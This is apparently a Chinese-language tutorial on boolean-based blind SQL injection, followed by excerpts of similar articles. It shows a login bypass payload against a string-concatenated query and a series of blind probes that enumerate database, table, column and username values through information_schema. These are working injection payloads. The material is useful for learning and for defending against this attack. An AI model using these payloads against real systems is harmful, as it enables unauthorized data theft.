SQL注入 布林注入

2022-05-17 09:19:07 字數 2522 閱讀 5287

條件

當乙個頁面,存在注入,沒顯示位,沒有輸出sql語句執行錯誤資訊,只能通過頁面返回正常不正常進行判斷進行sql注入。

例如:

string sql

=null

;string a =

"admin' or 1 = 1 -- "

;string b =

'abc'

;sql

="select * from user where username = "

+"'"

+ a +

"'"+

"and password = "

+"'"

+ b +

"'";

最終傳送到資料庫的語句就是

select

*from

user

where username =

'admin'or1

=1-- ' and password = 'abc';

上面的語句返回的結果就是資料庫中的所有記錄。

因為對於所有記錄,它都會判斷 username 是否等於 admin 或者 1 是否等於1,而1=1為true滿足條件,就會被查出來,後面加了- -,就將and password = 'abc'注釋掉了,所以這裡跳過了sql驗證。

length(

database()

)>

1#判斷是否大於1,如果正確,就繼續下去,直到錯誤

ord(

mid(

database()

,1,1

))>

1

(

select length(table_name)

from information_schema.

tables

where table_scema =

database()

limit0,

1)>

1# 判斷名為databse()資料庫裡第1個表的長度是否大於1,不停的判斷,就能查到表的長度

# 這只是第乙個表,要想獲取第二個表,就將limit 0,1改為limit 1,1

ord(

mid(table_name,1,

1))>

1

(

select

count

(column_name)

from information_schema.

columns

where table_name=

'user'

and table_schema=

'mysql'

)>

1# user是表名,mysql是資料庫名

(

select length(column_name)

from information_schema.

columns

where table_name=

'user'

and table_schema=

'mysql'

limit0,

1)>

1# 修改limit後面的引數即可獲取目標欄位的長度

select ord(

mid(

(select column_name from information_schema.

columns

where table_name =

'user'

and table_schema =

'mysql'

limit0,

1),1

,1))

>

1# 爆每個欄位從第一位開始的十進位制值

select

(select length(username)

from

user

limit0,

1)>

1# 已經查出第乙個欄位的名字是username,查username的第乙個內容長度

select ord(

mid(

(select username from

user

limit0,

1),1

,1))

>

1

上面涉及到的函式

函式解釋

length( )

函式返回文字欄位中值的長度

ord(string)

將string轉換成十進位制值

mid(string,a,b)

將string從a開始向後擷取b個字元

limit m,n

m 代表從 m+1 條記錄行開始檢索,n 代表取出 n 條資料。

SQL注入 布林盲注

可以進行sql注入,但是不能通過sql注入漏洞看到資料庫中的資訊,但是可以通過真假判斷資料庫中的資訊 布林盲注的方法 構造邏輯判斷語句,判斷資訊的真假,取出所有的真值 以less 8為例 還是老步驟,初步判斷是否存在sql注入漏洞 返回you are in 無返回 可以初步判斷存在sql注入漏洞,並...

sql注入之 布林盲注

一 布林型盲注 盲注,就是在伺服器沒有錯誤回顯是完成的注入攻擊。伺服器沒有錯誤回顯,對於攻擊者來說缺少了非常重要的資訊,所以攻擊者必須找到乙個方法來驗證注入的sql語句是否得到了執行。注入原理 ascii ord 函式,返回字元ascii碼值 引數 str單字元 length 函式,返回字串的長度。...

SQL盲注 布林注入 筆記

存在sql注入漏洞 然而頁面即不會回顯資料,也不會回顯錯誤資訊,只返回 right 與 wrong 這裡我們可以通過構造語句,來判斷資料庫資訊的正確性,再通過頁面的 真 與 假 來識別我們的判斷是否正確,這即是布林盲注!構造邏輯判斷語句,判斷資訊真假,取出所有的真值,實現sql注入 方法例子 說明l...